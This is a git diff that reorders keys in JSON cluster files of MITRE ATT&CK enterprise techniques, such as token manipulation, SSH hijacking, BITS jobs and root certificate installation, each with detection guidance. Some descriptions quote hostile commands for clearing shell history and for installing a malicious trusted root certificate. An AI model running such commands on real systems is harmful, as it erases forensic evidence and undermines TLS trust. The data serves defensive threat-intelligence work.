- "https://attack.mitre.org/wiki/Technique/T1141",
- "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
- ],
"external_id": "T1141",
"kill_chain": [
"mitre-attack:enterprise-attack:credential-access"
@@ -5347,17 +5340,19 @@
],
"mitre_platforms": [
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1141",
+ "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
+ "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html"
]
},
- "uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b"
+ "uuid": "91ce1ede-107f-4d8b-bf4c-735e8789c94b",
+ "value": "Input Prompt - T1141"
},
{
"description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process monitoring\n\nSystem Requirements: Shared webroot directory on remote system",
- "value": "Shared Webroot - T1051",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1051"
- ],
"external_id": "T1051",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -5368,17 +5363,17 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1051"
]
},
- "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db"
+ "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db",
+ "value": "Shared Webroot - T1051"
},
{
"description": "An adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.\n\nDetection: Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked.\n\nPlatforms: Windows\n\nData Sources: Sensor health and status, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Log analysis, Host intrusion prevention systems",
- "value": "Indicator Blocking - T1054",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1054"
- ],
"external_id": "T1054",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -5390,17 +5385,17 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1054"
]
},
- "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df"
+ "uuid": "6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df",
+ "value": "Indicator Blocking - T1054"
},
{
"description": "In certain circumstances, such as an air-gapped network compromise, exfiltration could occur via a physical medium or device introduced by a user. Such media could be an external hard drive, USB drive, cellular phone, MP3 player, or other removable storage and processing device. The physical medium or device could be used as the final exfiltration point or to hop between otherwise disconnected systems.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media are mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Data loss prevention, File monitoring\n\nSystem Requirements: Presence of physical medium or device\n\nRequires Network: No",
- "value": "Exfiltration Over Physical Medium - T1052",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1052"
- ],
"external_id": "T1052",
"kill_chain": [
"mitre-attack:enterprise-attack:exfiltration"
@@ -5413,26 +5408,17 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1052"
]
},
- "uuid": "e6415f09-df0e-48de-9aba-928c902b7549"
+ "uuid": "e6415f09-df0e-48de-9aba-928c902b7549",
+ "value": "Exfiltration Over Physical Medium - T1052"
},
{
"description": "Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. (Citation: Microsoft runas)\n \nAdversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system. (Citation: Pentestlab Token Manipulation)\n\nAccess tokens can be leveraged by adversaries through three methods: (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\n'''Token Impersonation/Theft''' - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.\n\n'''Create Process with a Token''' - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.\n\n'''Make and Impersonate Token''' - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.\n\nAny standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.\n\nMetasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. (Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)\n\nDetection: If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows. (Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser (Citation: Microsoft LogonUser), DuplicateTokenEx (Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser (Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account. (Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Access Tokens\n\nEffective Permissions: SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Tom Ueltschi @c_APT_ure, Travis Smith, Tripwire, Jared Atkinson, @jaredcatkinson, Robby Winchester, @robwinchester3",
- "value": "Access Token Manipulation - T1134",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1134",
- "https://technet.microsoft.com/en-us/library/bb490994.aspx",
- "https://pentestlab.blog/2017/04/03/token-manipulation/",
- "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/",
- "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/",
- "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
- "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx",
- "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx",
- "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx",
- "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
- ],
"external_id": "T1134",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -5444,20 +5430,26 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1134",
+ "https://technet.microsoft.com/en-us/library/bb490994.aspx",
+ "https://pentestlab.blog/2017/04/03/token-manipulation/",
+ "https://www.offensive-security.com/metasploit-unleashed/fun-incognito/",
+ "https://blog.cobaltstrike.com/2015/12/16/windows-access-tokens-and-alternate-credentials/",
+ "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing",
+ "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx",
+ "https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx",
+ "https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx",
+ "https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf"
]
},
- "uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48"
+ "uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
+ "value": "Access Token Manipulation - T1134"
},
{
"description": "The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)\n\nAn adversary may gather the system time and/or time zone from a local or remote system. This information may be gathered in a number of ways, such as with Net on Windows by performing net time \\\\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz. (Citation: Technet Windows Time Service) The information could be useful for performing other techniques, such as executing a file with a Scheduled Task (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting.\n\nDetection: Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, API monitoring\n\nPermissions Required: User",
- "value": "System Time Discovery - T1124",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1124",
- "https://msdn.microsoft.com/ms724961.aspx",
- "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings",
- "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf"
- ],
"external_id": "T1124",
"kill_chain": [
"mitre-attack:enterprise-attack:discovery"
@@ -5469,17 +5461,20 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1124",
+ "https://msdn.microsoft.com/ms724961.aspx",
+ "https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings",
+ "https://www.rsaconference.com/writable/presentations/file%20upload/ht-209%20rivner%20schwartz.pdf"
]
},
- "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077"
+ "uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077",
+ "value": "System Time Discovery - T1124"
},
{
"description": "macOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.\n\nDetection: User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the modification of the HISTFILE and HISTFILESIZE environment variables or the removal/clearing of the ~/.bash_history file are indicators of suspicious activity.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs, File monitoring\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
- "value": "Clear Command History - T1146",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1146"
- ],
"external_id": "T1146",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -5491,18 +5486,17 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1146"
]
},
- "uuid": "d3046a90-580c-4004-8208-66915bc29830"
+ "uuid": "d3046a90-580c-4004-8208-66915bc29830",
+ "value": "Clear Command History - T1146"
},
{
"description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n*via %SystemRoot% and %ProgramFiles% directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nPermissions Required: User\n\nContributors: Stefan Kanthak",
- "value": "Execution through Module Load - T1129",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1129",
- "https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files"
- ],
"external_id": "T1129",
"kill_chain": [
"mitre-attack:enterprise-attack:execution"
@@ -5515,21 +5509,18 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1129",
+ "https://en.wikipedia.org/wiki/Microsoft%20Windows%20library%20files"
]
},
- "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65"
+ "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65",
+ "value": "Execution through Module Load - T1129"
},
{
"description": "Secure Shell (SSH) is a standard means of remote access on Linux and Mac systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\nSSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.\n\nDetection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs\n\nPermissions Required: User, root\n\nSystem Requirements: SSH service enabled, trust relationships configured, established connections\n\nContributors: Anastasios Pingios",
- "value": "SSH Hijacking - T1184",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1184",
- "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219",
- "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf",
- "https://www.clockwork.com/news/2012/09/28/602/ssh%20agent%20hijacking",
- "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
- ],
"external_id": "T1184",
"kill_chain": [
"mitre-attack:enterprise-attack:lateral-movement"
@@ -5540,24 +5531,21 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1184",
+ "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219",
+ "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf",
+ "https://www.clockwork.com/news/2012/09/28/602/ssh%20agent%20hijacking",
+ "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
]
},
- "uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb"
+ "uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
+ "value": "SSH Hijacking - T1184"
},
{
"description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. (Citation: SpectorOps Code Signing Dec 2017) Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present. Microsoft provides a list of trustworthy root certificates online and through authroot.stl. (Citation: SpectorOps Code Signing Dec 2017) The Sysinternals Sigcheck utility can also be used (sigcheck[64].exe -tuv) to dump the contents of the certificate store and list valid certificates not rooted to the Microsoft Certificate Trust List. (Citation: Microsoft Sigcheck May 2017)\n\nInstalled root certificates are located in the Registry under HKLM\\SOFTWARE\\Microsoft\\EnterpriseCertificates\\Root\\Certificates\\ and [HKLM or HKCU]\\Software[\\Policies\\]\\Microsoft\\SystemCertificates\\Root\\Certificates\\. There are a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n*18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n*245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n*3B1EFD3A66EA28B16697394703A72CA340A05BD5\n*7F88CD7223F3C813818C994614A89C99FA3B5247\n*8F43288AD272F3103B6FB1428485EA3014C0BCFE\n*A43489159A520F0D93D032CCAF37E7FE20A8B419\n*BE36A4562FB2EE05DBB3D32323ADF445084ED656\n*CDD4EEAE6000AC7F40C3802C171E30148030C072\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator, User\n\nContributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire, Red Canary, Matt Graeber, @mattifestation, SpecterOps",
- "value": "Install Root Certificate - T1130",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1130",
- "https://en.wikipedia.org/wiki/Root%20certificate",
- "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
- "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
- "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/",
- "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
- "https://objective-see.com/blog/blog%200x26.html",
- "https://docs.microsoft.com/sysinternals/downloads/sigcheck"
- ],
"external_id": "T1130",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion"
@@ -5570,18 +5558,24 @@
"Linux",
"Windows",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1130",
+ "https://en.wikipedia.org/wiki/Root%20certificate",
+ "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
+ "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
+ "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/",
+ "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
+ "https://objective-see.com/blog/blog%200x26.html",
+ "https://docs.microsoft.com/sysinternals/downloads/sigcheck"
]
},
- "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1"
+ "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
+ "value": "Install Root Certificate - T1130"
},
{
"description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
- "value": "Data Transfer Size Limits - T1030",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1030",
- "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
- ],
"external_id": "T1030",
"kill_chain": [
"mitre-attack:enterprise-attack:exfiltration"
@@ -5596,18 +5590,18 @@
"Linux",
"macOS",
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1030",
+ "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
},
- "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd"
+ "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd",
+ "value": "Data Transfer Size Limits - T1030"
},
{
"description": "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell (Citation: amnesia malware).\n\nDetection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator",
- "value": ".bash_profile and .bashrc - T1156",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1156",
- "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
- ],
"external_id": "T1156",
"kill_chain": [
"mitre-attack:enterprise-attack:persistence"
@@ -5621,24 +5615,18 @@
"mitre_platforms": [
"Linux",
"macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1156",
+ "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/"
]
},
- "uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8"
+ "uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8",
+ "value": ".bash_profile and .bashrc - T1156"
},
{
"description": "Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM) (Citation: Microsoft COM). (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through PowerShell (Citation: Microsoft BITS) and the BITSAdmin tool. (Citation: Microsoft BITS)Admin\n\nAdversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol. (Citation: CTU BITS Malware June 2016)\n\nDetection: BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the BITSAdmin tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)\n\nMonitor usage of the BITSAdmin tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)\n\nMonitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Packet capture, Windows event logs\n\nDefense Bypassed: Firewall, Host forensic analysis\n\nPermissions Required: User, Administrator, SYSTEM\n\nContributors: Ricardo Dias, Red Canary",
- "value": "BITS Jobs - T1197",
"meta": {
- "refs": [
- "https://attack.mitre.org/wiki/Technique/T1197",
- "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
- "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx",
- "https://www.secureworks.com/blog/malware-lingers-with-bits",
- "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/",
- "https://www.symantec.com/connect/blogs/malware-update-windows-update",
- "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
- "https://technet.microsoft.com/library/dd939934.aspx"
- ],
"external_id": "T1197",
"kill_chain": [
"mitre-attack:enterprise-attack:defense-evasion",
@@ -5651,9 +5639,21 @@
],
"mitre_platforms": [
"Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/wiki/Technique/T1197",
+ "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx",
+ "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx",
+ "https://www.secureworks.com/blog/malware-lingers-with-bits",
+ "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/",
+ "https://www.symantec.com/connect/blogs/malware-update-windows-update",
+ "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/",
+ "https://technet.microsoft.com/library/dd939934.aspx"
]
},
- "uuid": "c8e87b83-edbb-48d4-9295-4974897525b7"
+ "uuid": "c8e87b83-edbb-48d4-9295-4974897525b7",
+ "value": "BITS Jobs - T1197"
}
- ]
+ ],
+ "version": 4
}
diff --git a/clusters/mitre-enterprise-attack-course-of-action.json b/clusters/mitre-enterprise-attack-course-of-action.json
index f1d1da8..7bb5c69 100644
--- a/clusters/mitre-enterprise-attack-course-of-action.json
+++ b/clusters/mitre-enterprise-attack-course-of-action.json
@@ -1,1733 +1,1733 @@
{
- "name": "Enterprise Attack - Course of Action",
- "type": "mitre-enterprise-attack-course-of-action",
- "description": "ATT&CK Mitigation",
- "version": 4,
- "source": "https://github.com/mitre/cti",
- "uuid": "fb870a6a-1707-11e8-b548-17523e4d0670",
"authors": [
"MITRE"
],
+ "description": "ATT&CK Mitigation",
+ "name": "Enterprise Attack - Course of Action",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-enterprise-attack-course-of-action",
+ "uuid": "fb870a6a-1707-11e8-b548-17523e4d0670",
"values": [
{
"description": "Direct mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.\n\nInstead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Component Object Model Hijacking Mitigation - T1122",
